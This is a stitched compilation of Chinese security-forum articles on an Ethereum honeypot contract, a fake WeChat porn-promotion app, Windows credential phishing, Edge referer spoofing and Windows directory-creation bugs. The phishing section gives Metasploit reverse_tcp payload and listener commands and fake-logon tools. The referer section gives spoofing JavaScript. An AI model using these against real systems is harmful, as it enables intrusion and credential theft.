* 与Etherscan结果类似的Tokenview：<https://tokenview.com/cn/eth/address/0xcea86636608bacb632dfd1606a0dc1728b625387>
4个外部交易，2个call调用（多了一个外部call调用，但是只是把合约创建又分作外部调用，又分作内部调用）
然后就找到了完全暴露的智能合约内部call调用etherchain：<https://www.etherchain.org/account/cea86636608bacb632dfd1606a0dc1728b625387>
一个合约创建，3个外部交易，4个call调用
### 真实交易分析
在完整的调用分析前，重新理一下相关地址：
命名 | 地址
---|---
钓鱼者 | 0x8F1F6FEb78BA90ad003E1B7408caA164aD90830d
钓鱼者创建鱼钩智能合约 | 0xcEA86636608BaCB632DfD1606A0dC1728b625387
钓鱼者小号 | 0x78d39cDf39e80498237BC330e752DaBd8f90AC2f
钓鱼中间智能合约 | 0x4B2838d9326bD5126F0573D9b5c71C0626Ab28f2
与原先Etherscan交易对比可知，与之前相比多了3个call调用，均是由中间智能合约发起。（交易调用时间顺序整体是下面的条目时间早，但是同一区块的条目，上面的时间早）
下面的两个call调用发生在部署智能合约之后，部署者调用StartGame之前，受害者输入答案之前。应该就是我们之前疏忽的关键调用。
这两个call调用都是属于一笔之前没有出现过的交易0x1754a4ecaecff5e6f3d6fd6384f80e00535fa50318de369b57fbb4dc2495defa中
在Etherscan中查看[该笔交易](https://etherscan.io/tx/0x1754a4ecaecff5e6f3d6fd6384f80e00535fa50318de369b57fbb4dc2495defa)，
由于这样看到的交易的input是钓鱼者小号调用钓鱼中间合约的input。我们想看到的两个call调用在虚拟机调用层面，才能查看。
查看 **Tools &Utilities** -> **Parity Trace**
查看智能合约中[函数调用栈的情况](https://etherscan.io/vmtrace?txhash=0x1754a4ecaecff5e6f3d6fd6384f80e00535fa50318de369b57fbb4dc2495defa&type=parity)。（虽然Etherchain也有Parity
Trace，但是Etherscan较为友好，Etherscan作为用的最多的区块链浏览器也是有原因的）
有三个调用栈：
第一个调用是钓鱼者小号0x78d39c...对于中间合约的调用。不管。
第二个调用：
第三个调用：
都对钓鱼合约进行了调用。
关注其中input数据到底调用了什么，利用[ethereum-input-decoder](https://lab.miguelmota.com/ethereum-input-data-decoder/example/)解密
* 从Etherscan中钓鱼智能合约的code中获取abi填入，填入input
第二个调用：调用StartGame，传入问题，答案
第三个调用：调用NewQuestion，传入问题，答案hash
可以看出，其实真正的答案是先用了StartGame设定，再NewQuestion修改。
之后我们看到的钓鱼者的StartGame调用，由于`if(responseHash==0x0)`验证不通过，不会对智能合约答案造成影响，只是一个烟雾弹。
同理看一下多出来的上面的那个call调用（在受害者上钩之后）：
交易：<https://etherscan.io/tx/0xb86f60ff9a075a30aa4008c1cd70ed15f424d141c4de5b3afbadd9d7a18f97b4>
函数调用情况：[https://etherscan.io/vmtrace?txhash=0xb86f60ff9a075a30aa4008c1cd70ed15f424d141c4de5b3afbadd9d7a18f97b4&type=parity](https://etherscan.io/vmtrace?txhash=0xb86f60ff9a075a30aa4008c1cd70ed15f424d141c4de5b3afbadd9d7a18f97b4&type=parity)
利用中间钓鱼合约完成收网。
**真实交易时间线** ：
1. block:5806406 | 钓鱼小号部署中间合约(钓鱼准备)
2. block:5873826 | 钓鱼者创建钓鱼合约(准备出发钓鱼)
3. block:5873890 | 钓鱼小号控制中间合约调用钓鱼合约StartGame()函数，传入问题，sZs答案（钓鱼准备ing）
4. block:5873890 | 钓鱼小号控制中间合约调用钓鱼合约newQuestion()函数，传入问题，一个答案hash（钓鱼准备ing）
5. block:5873943 | 钓鱼者使用交易调用钓鱼合约Startgame(),传入问题，带上1.03Ether（烟雾弹+抛饵）
6. block:5881051 | 受害者使用交易调用合约函数Play(),没有带钱（鱼儿试探）
7. block:5881054 | 受害者使用交易调用合约函数Play(),带上1.05Ether的钱（鱼儿上钩）
8. block:5881321 | 钓鱼小号控制中间合约调用钓鱼合约StopGame()函数，撤回钱
至此完美完成了一次智能合约蜜罐攻击，一次利用以太坊最流行区块链浏览器Ethersacn的缺陷，打一个信息差的蜜罐钓鱼
流程图如下：
### 再读智能合约代码
再回过头去去看看似乎萌新弱鸡的代码，处处用心险恶
之前疑点1：
* NewQuestion(string _question, bytes32 _responseHash)是用responseHash设置答案。
* StartGame(string _question,string _response)却是用respon明文设置答案
StartGame用于钓鱼，NewQuestion用于传递真实答案，即使被发现了Etherscan以太坊浏览器存在该不会完全显示call调用的问题也不能被破解。
之前疑点2：
* if(responseHash==0x0) 其他地方用require这里用if
如果这个地方也用require就会导致用于诱惑别人的钓鱼者StartGame调用报错失败，而引起别人怀疑。
## 假设是我们
那么假设我们不知道Etherscan有隐藏调用的情况，是否就肯定会上当受骗呢？
其实也不是的，因为智能合约的存储空间，我们也是可以读取的。我们可以直接读取智能合约中的变量值（不管是public还是不是public）从而意识到情况不对。
`web3.eth.getStorageAt("0xcEA86636608BaCB632DfD1606A0dC1728b625387", 0,
function(x,y){alert(y)});`
0x00000000000000000000000000000000000000000000000000000000000000d1 //string的长度 string question
0x0000000000000000000000004b2838d9326bd5126f0573d9b5c71c0626ab28f2 //提问者的地址 address questionSender
0x684ff0e88cefc2b7ff23228e02c9a10cc9b5b2e67e12b259a9bca644e19d2b8f //答案hash bytes32 responseHash
0x0000000000000000000000000000000000000000000000000000000000000000
可以发现提问者地址不等于我们所知的调用StartGame钓鱼者的地址
答案hash也与我们的答案hash不符合
## 小结
1. Etherscan、BTC.com 比特大陆、Tokenview 上仅涉及ETH转账或 Token 转账的交易，Etherscan不会显示不关乎转账的外部合同的调用。
2. Etherchain 和 blockchair 可以查看所有调用
3. 在 Etherscan 查看交易中点击 工具&实用程序 Parity追溯。可以查看交易内部虚拟机层面 智能合约中的调用传递的数据等。（Etherchain中也有这个功能只是包装不到位）
## 类似合约
从2018年3月份至2018年10月份的都有，最长等待鱼儿上钩的时间有100天
游戏停止，骗币成功：<https://etherscan.io/address/0xce6B1AFf0fE66da643D7A9A64d4747293628D667#code>
游戏停止，骗币成功：<https://etherscan.io/address/0xFf45211eBdfc7EBCC458E584bcEc4EAC19d6A624#code>
游戏停止，骗币失败:
<https://etherscan.io/address/0x4bc53ead2ae82e0c723ee8e3d7bacfb1fafea1ce#code>
游戏停止，骗币失败:
<https://etherscan.io/address/0x3B048ab84ddd61C2FfE89EDe66D68ef27661C0f2>
游戏停止，骗币失败:
<https://etherscan.io/address/0x5ccfcDC1c88134993F48a898AE8E9E35853B2068#code>
## 参考
<https://medium.com/quantstamp/exploiting-the-interface-of-etherscan-for-ethereum-attacks-17b72d2897e0>
<https://paper.seebug.org/671/> | 社区文章 |
2020年1月10日杭州西溪宾馆
先知核心白帽、ASRC王牌A精英白帽、ASRC国际精英白帽将齐聚一堂。
一场邀请制，独属于阿里巴巴国内外精英白帽的聚会，将会在这里盛大开启！
## **部分干货议题**
王昱（猪猪侠）
阿里云资深安全专家，乌云核心白帽子，长期从事自动化安全测试、攻防对抗工作，擅长渗透测试与数据挖掘。
猪猪侠将会通过解剖关键基础设施演习的攻与防，从实战角度介绍阿里云常态化“红蓝对抗”攻防体系的设计由来与实践细节。为你解析阿里云攻防对抗体系建设实践！
**更多嘉宾议题介绍及详细议程敬请期待！**
## **Skytalk——私密闭门分享**
夏天夏天悄悄过去
嘿 留下小！秘！密！
压箱底～ 压箱底～
来Skytalk告诉你！
绝对是外面听不到的内容，0day分析、护xxx那些事儿～最独特的姿势最优秀的思路，漂洋过海来打你，不能描述再多了！
## **live hacking——人人都是王牌A**
阿里白帽大会首次举办live hacking！
这一次来现场的人人都是王牌A，现场提交漏洞享受王牌A黑桃的权益，即有效严重高危额外100%奖励。
更有证书、现金及神秘礼物，来参会的小伙伴才可以参与！
1月开启线上报名
现场还会有更多不可描述的大事件发生
用你的实力和勇气
来挑战一下吧！
所有白帽子，你们准备好了吗？
321，活动来喽～
## **阿里白帽大会直通卡活动**
活动时间：11.28-12.31
报名链接：<https://security.alibaba.com/online/detail?id=59>
活动规则
1、【先知白帽】2019.1.1-2019.12.31期间，
在先知提交有效20个及以上严重/高危漏洞报告，
直接获得大会直通卡以及酒店住宿两晚+报销参加会议的火车/机票权益。
2、【王牌A-方块】提交一个有效严重/高危漏洞报告的方块白帽，可报销参加大会的火车/机票费用权益。
漏洞提交请在报告名称中注明【王牌A】，例【王牌A】**漏洞报告
ASRC王牌A方块直接获得大会直通卡以及酒店住宿两晚
3、【ASRC白帽】成功升级【王牌A-方块】，可以直接获得大会直通卡以及酒店住宿两晚权益。
2019年4月至今提交2个有效/严重高危漏洞报告或25个中低危漏洞报告，即可升级为王牌A-方块
例如：如果白帽A0从2019年4月至今已经提交过一个有效的高危漏洞报告，那么他只需要再提交一个高危漏洞报告，即可成功升级【王牌A-方块】获得大会直通卡以及酒店住宿两晚。
成功升级【王牌A-方块】之后，再提交一个高危漏洞报告，即可报销参加大会的火车/机票费用
**注：**
1、请一定在活动页面提交漏洞报告，其他页面提交将不计入活动中。
2、【ASRC王牌A黑桃、红桃白帽】及【双十一安全保卫战司令、师长】，
直接获得大会直通卡以及酒店住宿两晚+报销参加会议的火车/机票，
【ASRC王牌A方块白帽】直接获得大会直通卡以及酒店住宿两晚，
工作人员将会在12月31日前和以上白帽一一确认行程。
3、先知&ASRC也会定向邀请国内外优质白帽参加；
4、ASRC部分业务基础奖励变更公告<https://security.alibaba.com/announcement/announcement?id=186>
5、欢迎想参与的白帽加入年会直通卡白帽钉钉群，关于活动有问题请咨询群内工作人员。 | 社区文章 |
# 色情版“微信”背后的秘密
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**背景：**
近日，恒安嘉新暗影安全实验室平台监测到一款名为“乐宝”的仿冒应用，安全研究人员第一时间对该应用进行了研究分析，发现该应用表面上是一款与微信具有相似页面的聊天软件，实则是一款推广色情网站的推广软件。用户需通过本应用扫描特定二维码加群进入色情群组才能接触到色情内容，具有极高隐蔽性，屏蔽有效的犯罪侦查手段。内容以色情盈利为主，软件制作者利用该软件推广色情网站，进行网络招聘主播，网络约嫖，通过会员付费发展规模。
本文主要是针对“乐宝”的传播方式、盈利模式、溯源分析、情报挖掘等方面进行披露。以下为整个分析过程的流程图。
图1-1 运行流程图
## 1\. 样本特点
### **1.1 仿冒微信页面，包装自己为聊天软件**
该应用仿冒微信页面制作，表面看上去只是一款简单的聊天软件。用户注册账户后会生成一个随机数ID，用户可以通过该ID添加好友进行聊天。
图2-1 添加好友、聊天功能
用户输入好友ID添加好友，客户端将好友ID发送至服务器并接收服务器返回的好友账户信息以及头像信息并展示到页面。
图2-2 添加好友数据传输
### **1.2 特定应用扫描进群，观看色情直播**
该应用只能通过扫描特定的二维码加群才能接触到黄色直播内容，不扫码加入群很难发现此应用涉及色情内容，且该二维码只能通过该应用自带的扫码功能扫描才能加入群，用微信扫码无法加入指定群，具有极高的隐蔽性，屏蔽有效的犯罪侦查手段。
扫描特定二维码加群，通过该群后台信息，可看出该群发展至了2400多人。
图2-3 加群二维码、群后台
使用微信及相机扫描二维码失败：
图2-4 微信、相机扫描结果
通过分析代码发现，该应用拥有自己单独的解码方式，来进行隐蔽传播：
图2-5 代码解码方式
应用扫描二维码后，会检测是否带有“##”开头的数据，”##”后即为群组的名字，即相机扫描二维码出现的“##mWII6O3”代表群组id为mWII6O3。
随即应用连接指定网址（http://api.l***o98.com:8585/group/join）查询加入的群组：
图2-6 加群数据传输
应用查询到群组信息后，连接地址（http://app.l***98.com/App/Group/query_group）来确认加入群组：
图2-7 确认加入群组
### **1.3 充值会员，网站观看色情直播**
该APP只是一个隐秘推广色情网站的工具，并不具备直播功能。加入群聊后，群主通过发布色情图片诱导用户添加业务员ID办理会员。开通会员后便可登录色情网站观看直播。
图2-8 聊天记录
该色情网站集成了网络博彩及色情直播多种功能，用户充值10元便可观看色情直播。
色情网站地址： https://www.1****0.com/
图2-9 色情网站
同时网站通过展示用户中奖信息，诱导用户购买网络彩票：
图2-10 网络博彩中奖页面
不仅如此，制作者通过该应用进行网络约嫖，招收代理。代理需掌握一定的色情资源，借助色情网站这个平台进行直播获利，平台对代理收益进行抽成。
图2-11 招收代理，网络约嫖
## 2\. 推广方式
### **2.1 传统推广方式**
传统的色情软件主要通过网盘、网页、论坛、第三方应用广告插件、恶意软件后台私自下载色情软件、发展代理下线进行推广。
图2-12 传统色情软件推广方式
### **2.2 更新的推广方式**
相比传统的推广方式通过该应用推广色情网站具有一定的隐秘性，首先通过网络传播吸引用户前往安装下载APP。
传播地址：http://h****9.org/
图2-13 推广网站
该APP仿冒“微信”作为推广色情网站的工具，主要是为了避免主流的社交软件对其封堵，同时该软件本身并没有恶意行为，只是为了更好的推广其‘产品’。通过该应用推广色情网站的隐秘性体现在如下方面：
（1）该应用表面只是一个普通的聊天工具。
（2）用户不扫描特定二维码无法进入色情直播群，无法接触到色情内容。
（3）业务员通过该应用可以很方便的管理用户以及发布网络招嫖消息，业务员与用户的聊天内容可以涉及到敏感信息不受拘束。
图2-14 发布色情内容
## 3\. 获利方式
根据测试发现此直播软件的盈利模式很清晰主要有主播分成，会员付费、网络约嫖等都需要充值购买或者线下联系，其中色情网站还嵌入了网络博彩功能，通过色情内容或中奖清单可引诱用户进行网络赌博从而获取一定的收益。
图2-15 获利方式
（1）主播借助平台进行色情直播，平台收取一定平台费用：
图2-16 借助平台直播抽成
（2）用户想要观看色情直播，需办理会员付费：
图2-17会员付费
（3）通过该平台发布公告进行网络约嫖获利：
图2-18 发布网络约嫖公告
## 5\. 溯源关系逻辑图
本文主要从应用服务器地址、下载地址、传播地址、支付方式、社交账号等方面进行追踪溯源。
图3-1 溯源脑图
## 6\. 基于情报线索挖掘系统拓展
### **6.1 服务器地址溯源**
由于国内非法网站的服务器基本都搭建在境外，且做了较强隐秘性保护，通过对以下服务器地址、下载地址、传播地址进行溯源分析未查找到实际有效信息。
**服务器地址列表：**
**URL地址** | | **描述** | | **IP地址** | | **地点** |
---|---|---|---|---|---|---|---
http://api.l***98.com | | 服务器地址 | | 20.194.23.27 | | 美国 |
http://h***9.org/ | | 推广地址 | | 104.203.170.75 | | 美国 |
https://app5.l***97.com/apk/com. | | lebao074.appcode1-v1.3.0-12.apk | | |
下载地址 | | 193.168.4.117 | | 卢森堡 |
https://www.1***0.com/ | | 色情网站 | | 182.16.97.213 | | 香港 |
（1）通过抓取应用与服务器交互数据发现其大多数返回的信息中都包含一个URL地址：http://ro8***oud-image.ro***ub.com/，应用中用户所有的头像以及色情图片信息都是从该地址获取的。
图3-2 服务器返回数据
从该服务器地址获取的色情图片：
图3-3 获取色情图片
1. http://ro***oud-image.ro***ub.com/
查询该域名的备案信息，自动过滤到二级域名后：ro***ub.com。得到网站注册商“[北京](http://data.chinaz.com/company/t0-p0-c0-i0-d0-s-%E5%8C%97%E4%BA%AC%E4%BA%91%E4%B8%AD%E8%9E%8D%E4%BF%A1%E7%BD%91%E7%BB%9C%E7%A7%91%E6%8A%80%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8)***信网络科技有限公司”，
图3-4 域名备案信息
该公司是一家即时通讯[云服务](https://baike.baidu.com/item/%E4%BA%91%E6%9C%8D%E5%8A%A1/7843499)提供商，该应用中嵌入了该公司的第三方SDK（ro***ub）以实现即时通信功能，但该公司对通信内容审查不严格。
1. 电话：010-57***199
2. 邮箱：gy@ultra***erfund.com
3. 官网：www.ro***ab.com
4. 地址：北京市大兴区经济开发区科苑路*号*号楼*层****室
图3-5 企业信息
（2）其中在添加主播助理ID的过程中，通过抓包分析发现服务器返回信息包含该主播助理注册使用的手机号码1356***6666，该号码仍在使用中，且地址显示为四川泸州。
图3-6 服务器返回手机号码信息
### **6.2 支付溯源**
色情网站内集成了丰富的支付方式，但是目前只支持银行卡、支付宝、微信付款，后续支付方式仍在开发中。
图3-7 网站内集成的支付方式
**6.2.1 银行卡、微信支付**
虽然网站内集成了较为丰富的银行卡支付方式，但实际有效银行卡信息只包含如银行卡列表所示的三张银行卡。
该网站实际并未开通银行卡、微信转账功能，但用户可通过微信银行以及支付宝银行进行转账。
图3-8 微信、支付宝银行卡转账
**银行卡列表：**
**银行卡号** | 银行 | 收款人 | 开户行名称 |
---|---|---|---|---
621225170400017**** | | 工商银行 | | 陈*利 | | ***平原路支行营业室 |
622180498000138**** | | 邮政储蓄 | | 宋*明 | | **县古固寨镇营业所 |
623170019005307**** | | 青岛银行 | | 于* | | 青岛 |
**6.2.2 支付宝支付**
支付宝支付可根据支付的不同额度选择不同支付账号。
图3-9 网站内集成的支付宝方式
**小笔金额：**
1. 支付宝收款账号：159***17660
2. 收款人：王*龙
图3-10 小额支付
**大笔金额：**
1. 支付宝账户：gd***[email protected]
2. 收款人：永安市**街何*怡百货店（何*怡）
图3-11大额支付
### **6.3 社交账号溯源**
在与客服聊天的过程中，获取了其中一位客服的qq账号：166***1688。QQ空间未获取任何有效信息，账号信息页显示该人现居台湾彭化县。
图3-12 QQ信息
## 7\. 总结
非法色情推广应用采用了单独的解码加群功能、具有极高隐蔽性、屏蔽有效的犯罪侦查手段特点，是一种新型传播色情方式。该软件通过会员付费观看直播来发展规模，且规模巨大，非法传播色情视频，属于违法犯罪行为。因色情应用利用色情直播牟取暴利的快速与隐蔽性，传播方式每时每刻都在变化，且此类软件尚属首次发现，我们应加大监测力度，争取有效阻止此类软件的传播途径，阻止违法犯罪行为的发生。
为进一步打击色情直播应用的传播，也为维护文明和谐的网络环境，我们建议对此软件中涉及到的域名一律进行封堵，针对其提取特征并入库，做到一经发现同类应用立即封堵。
## 8\. 防范及处置建议
1. 封禁恶意传播的地址；
2. 封禁应用内使用域名；
3. 加大监察力度，争取做到做到一经发现此类应用立即封堵；
4. 普通用户应该提高网络安全意识，看清楚这些应用的真面目，主动防范； | 社区文章 |
意义:
在红队评估期间，如果获得Windows的用户凭据可以帮助进行横向，在通过一些
抓密码的工具进行内网渗透的时候没有结果的话，使用钓鱼进行攻击也许会获得
需要的账号密码。
攻击过程:
有许多工具可以实现这一效果，基本的过程是:
(1)Payload获得目标机shell
(2)上传钓鱼工具启动
(3)在命令行等待受害用户输入密码
C2:
可以选择的工具有metasploit, cobalt strike, powershell empire等等，
基于免杀性考量，后两者的选择更为合适
cobalt strike:
对于这个工具的学习其实很简单，我把关键词丢进先知社区，
<https://xz.aliyun.com/search?keyword=Cobalt+Strike>
接下来就是简单的阅读，下载，安装，运行了。
ps模式下的payload更容易绕过大多数杀毒软件
生成payload
Attacks->Packages->...
上传利用工具
execute-assembly /root/Desktop/exp.exe
metasploit
生成payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.12 lport=3333 -f
exe >> payload.exe
python -m SimpleHTTPServer 80
上传利用工具
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.10.12
set lport 3333
run
upload exp.exe
shell
exp.exe
FakeLogonScreen:
<https://github.com/bitsadmin/fakelogonscreen/releases>
这款工具需要依赖.NET环境，因为是用的C#开发
它会弹出一个假的登录背景，当用户上当并输入密码的时候，
它将针对Active Directory或本地执行验证来确保密码正确，
SharpLocker:
<https://github.com/Pickfordmatt/SharpLocker/releases>
同样类似的这款工具也是执行后显示伪造的登录界面，
然后捕获击键显示在控制台上，直到密码正确结束
CredsLeaker:
<https://github.com/Dviros/CredsLeaker>
CredsLeaker这款工具更强的特点是可以把获得的用户名和密码
存储在Web服务器中，它通过Powershell调用HTTP请求，可以从
bat文件直接执行Powershell命令
使用前需要先修改php和ps文件配置，设置存用户密码的配置，
运行后会弹出Windows窗口，只有当输入正确的时候才会消失
然后在设定的路径进行查看
Phish_windows_credentials
msf本身也提供了一个模块:
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
当用户输入其账号密码的时候，这些凭据会被捕获显示在控制台
lockphish
<https://github.com/thelinuxchoice/lockphish>
lockphish是一个自动化的工具，个人认为它比上述所有工具都富有想象力，
它使用Web界面进行远程的社会工程学钓鱼，并且完美规避了免杀的问题，
默认它会重定向到youtube
当受害者点击这个链接的时候，会打开全屏的一个虚假登录框，
部分浏览器会提示请求全屏问题，
它要求的是输入Administrator的密码，
小缺点的是因为在web层面无法进行密码正确的验证，
捕获完成输入以后，会重定向到youtube。
其他相关的利用工具还有:
<https://malicious.link/post/2015/powershell-popups-and-capture/>
<https://github.com/samratashok/nishang/blob/master/Gather/Invoke-CredentialsPhish.ps1>
<https://github.com/enigma0x3/Invoke-LoginPrompt>
参考来源:
<https://attack.mitre.org/techniques/T1141/>
<https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/>
<https://github.com/enigma0x3/Invoke-LoginPrompt>
<https://github.com/samratashok/nishang/blob/master/Gather/Invoke-CredentialsPhish.ps1>
<https://github.com/bitsadmin/fakelogonscreen>
<https://github.com/Pickfordmatt/SharpLocker>
<https://malicious.link/post/2015/powershell-popups-and-capture/>
<https://github.com/Dviros/CredsLeaker>
<https://github.com/thelinuxchoice/lockphish>
<https://pentestlab.blog/2020/03/02/phishing-windows-credentials/> | 社区文章 |
# 【技术分享】通过iframe注入实现referer欺骗
|
##### 译文声明
本文是翻译文章，文章来源：brokenbrowser.com
原文地址：<https://www.brokenbrowser.com/referer-spoofing-patch-bypass/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[scriptkid](http://bobao.360.cn/member/contribute?uid=2529059652)
稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
去年我们提过一种很简单的[在Edge上实现referer欺骗的技术](https://www.brokenbrowser.com/referer-spoofing-defeating-xss-filter/)，该技术允许我们实现referer欺骗甚至是绕过XSS过滤。今天我发现该问题被修复了，因此我决定在补丁上进行尝试寻找问题。老实说，我觉得这只是一种攻击的变种而不是一种绕过。从实践来看，该技术绕过了补丁再次攻击成功，但是从技术角度来看，新方法略有不同。无论如何，让我们一起来探究一下。
**漏洞修复前的PoC**
在之前的文章中我们提到，我们可以通过简单的打开新的带着期望referer的窗口然后在跳转到目标来实现referer欺骗。两行代码抵过上千文字，看下面的poc代码，whatismyreferer.com会将paypal.com作为referer，而事实上referer应该是执行location.href的页面。
win = window.open("https://www.paypal.com");
win.location.href = "https://www.whatismyreferer.com";
这就足以在Edge实现referer欺骗了，不过这个问题现在已经被修复了。然而，我想出了一个简单的变种，没有debug和分析，仅仅是一个大胆的尝试。我尝试了许多方法来改变最终的URL(用location.replace,meta
refresh,window.open等来替代location.href)以测试Edge是否可以被再次欺骗，遗憾的是所有的尝试都失败了。但是，如果URL被iframe从内部更改了会发生什么？referer值会是top还是iframe的URL？
**玩转referer**
在回答前面的问题前，请记住，通常情况下referer始终应该是设置URL的referer。假设我们的fackbook.com带有一个指向evil.com的iframe，如果iframe改变top
URL为paypal.com，paypal收到的referer应该是evil而不是facebook。
上图展示的是Edge上期望的(正确的)行为。然而，如果我们使用location.href来设置定向链接而不是使用常规链接，Edge就犯傻了，这时它会使用top的地址来作为referer。
下面是一个简单的测试页面，用以展示用常规链接和location.href改变top
URL之间的区别。它们都会跳转到whereismyreferer.com，但正如你将看到的，常规链接行为是正确的，而top.location.href行为不正确。[
**[展示漏洞的页面]** ****](https://www.cracking.com.ar/demos/referer/02/top-page.html)
但是我们如何利用该漏洞呢？很明显facebook上不可能加载evil.com，对吗？然而facebook、yahoo等几乎所有大网站都会加载带有广告的iframe。这些广告则有能力在这些大网站上加载任意页面。当然，这些广告也完全可以用top.location.href来绕过XSS过滤。
就我自己而言，我讨厌理论上的漏洞，因为它们不能让我感到满足。因此，我们的目标是加载一个网站(我们想要欺骗的referer)，注入iframe到其中，然后从注入的iframe中通过top.location.href跳转到目标网站。简单点说就是，我们要让whatismyreferer.com(目标)相信用户是从paypal.com(欺骗的referer)跳转过来的，我们要怎样做到呢？
**注入iframe**
1、打开一个新窗口重定向到paypal。
2、在跳转前注入一个iframe。
3、一旦重定向，iframe内部实现top.location定向到whatismyreferer.com。
这个iframe注入以前在IE上htmlFile/UXSS文章中提到过，我们在这里快速回顾下。当我们打开一个新的窗口时(1)我们可以注入任意我们想要的内容，因为我们还在当前域。这是我们注入iframe(2)的最佳时机。然后一旦重定向发生，Edge将尽力从页面删除所有内容(包括我们的iframe)并渲染paypal。不过，我们将通过简单的来阻断线程。
如何阻断线程？在这种特殊情况下，我们将使用和这里相同的技术，只是一个丑陋的可见粗体警报。当然我们有许多方式来阻断线程并且不弹出警报，不过我们不会在这里提供。接着让我们来创建POC吧！
// Open a new window with a server redirect to paypal
var win = window.open("redir.php?URL=https://www.paypal.com");
// Create an iframe immediately, before it redirects
var ifr = win.document.createElement("iframe");
win.document.appendChild(ifr);
// Make sure the iframe has access to its top (otherwise it will lose it)
win[0].opener = win;
// Block the iframe and once the redirect happens, move to the victim website.
win[0].setTimeout("('Close me once the site starts loading behind');" +
"opener.location='https://www.whatismyreferer.com'");
[**Edge上的POC** ****](https://www.cracking.com.ar/demos/referer/02/) | 社区文章 |
本文是[Windows Exploitation Tricks: Arbitrary Directory Creation to Arbitrary
File Read](https://googleprojectzero.blogspot.com/2017/08/windows-exploitation-tricks-arbitrary.html)的翻译文章。
# 前言
在过去的几个月里，我一直在几个会议上展示我的“Windows逻辑提权研讨会简介”。由于在限制的2小时内没能完成最后一步，我想一些有趣的提示和技巧会被删减掉。因此，不太可能会在近期出完整的培训课程了。但我会把一系列不规则的文章整理在一起。如果您在Windows中发现类似的安全漏洞，可以使用自包含的利用技巧。
在这篇文章中，我将介绍一种从任意目录创建漏洞到任意文件读取的技术。 任意目录创建漏洞确实存在 -例如，这是Linux子系统中存在的[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=891) \- 但是，如果将DLL丢弃到某个地方，任意文件创建的对比并不明显。
你可以利用[DLL重定向支持](https://docs.microsoft.com/zh-cn/windows/desktop/Dlls/dynamic-link-library-redirection)，创建一个目录调用program.exe.local进行DLL劫持，但这并不可靠，因为你只能重定向不在同一目录下的DLL（如System32）和那些通常会通过并排加载的DLL。
在这篇博客中，我们将使用我在[Workshop](https://github.com/tyranid/windows-logical-eop-workshop)中的示例驱动程序，该驱动程序包含易受攻击的目录创建bug，然后编写一个Powershell脚本来使用我的[NtObjectManager](https://www.powershellgallery.com/packages/NtObjectManager/1.0.7)模块来利用它。
我将要解释的技术不是漏洞，但如果你有单独的目录创建bug，也可以使用它。
# 漏洞类
处理来自Win32 API的文件时，你有两个函数，[CreateFile](https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858\(v=vs.85).aspx)和[CreateDirectory](https://docs.microsoft.com/zh-cn/windows/desktop/api/fileapi/nf-fileapi-createdirectorya)。 分离这两个操作是有道理的。
但是在Native API级别只有[ZwCreateFile](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntcreatefile)，内核分离文件和目录的方式是在调用ZwCreateFile时将`FILE_DIRECTORY_FILE`或`FILE_NON_DIRECTORY_FILE`传递给CreateOptions参数。
至于为什么系统调用是用于创建文件，而标志被命名为if目录是主要文件类型我不知道。
漏洞示例如下所示：
NTSTATUS KernelCreateDirectory(PHANDLE Handle,
PUNICODE_STRING Path) {
IO_STATUS_BLOCK io_status = { 0 };
OBJECT_ATTRIBUTES obj_attr = { 0 };
InitializeObjectAttributes(&obj_attr, Path,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE);
return ZwCreateFile(Handle, MAXIMUM_ALLOWED,
&obj_attr, &io_status,
NULL, FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_READ | FILE_SHARE_DELETE,
FILE_OPEN_IF, FILE_DIRECTORY_FILE, NULL, 0);
}
关于此代码有三个重要事项需要注意，以确定它是否是易受攻击的目录创建漏洞。
首先，它将`FILE_DIRECTORY_FILE`传递给`CreateOptions`，这意味着它将创建一个目录。
其次，它作为Disposition参数`FILE_OPEN_IF`传递。 这意味着如果目录不存在，将创建目录，如果存在，则打开目录。
第三，也许最重要的是，驱动程序正在调用Zw函数，这意味着创建目录的调用将默认使用内核权限运行，这会禁用所有访问检查。
防止这种情况的方法是在`OBJECT_ATTRIBUTES`中传递`OBJ_FORCE_ACCESS_CHECK`属性标志，但是我们可以看到传递给InitializeObjectAttributes的标志在这种情况下没有设置标志。
仅从这段代码中我们得不到目标路径的来源，它可以来自用户，也可以被修复。 只要此代码在当前进程的上下文中运行（或冒充您的用户帐户），这并不重要。
为什么在当前用户的上下文中运行如此重要？ 它确保在创建目录时，该资源的所有者是当前用户，这意味着你可以修改安全描述符以授予你对该目录的完全访问权限。
在许多情况下，即使这样也不是必需的，因为许多系统目录都有一个CREATOR OWNER访问控制条目，可确保所有者立即获得完全访问权限。
# 创建任意目录
如果你想跟着本文进行实验，首先需要设置一个Windows 10
VM（无论是32位还是64位），并参考我的Workshop驱动程序的[zip](https://github.com/tyranid/windows-logical-eop-workshop/releases/download/BSIDES-LON-2017/release-20170606.zip)中setup.txt的详细信息。 然后安装[NtObjectManager
Powershell](https://github.com/google/sandbox-attacksurface-analysis-tools/tree/master/NtObjectManager)模块。 它可以在Powershell
Gallery上找到，这是一个在线模块库，所以请按照那里的[详细信息](https://www.powershellgallery.com/packages/NtObjectManager/1.0.7)。
假设一切都完成了，让我们开始工作吧。首先看看如何在驱动程序中调用易受攻击的代码。驱动程序向用户公开名为`\Device\WorkshopDriver`的设备对象（我们可以在[源代码](https://github.com/tyranid/windows-logical-eop-workshop/blob/05f84282cb3b34d398ada0c653e5a0040b68fefe/LogicalEoPWorkshopDriver/driver.c#L168)中看到设置）。
然后，通过向设备对象发送设备IO Control请求来执行所有“漏洞”。 IO
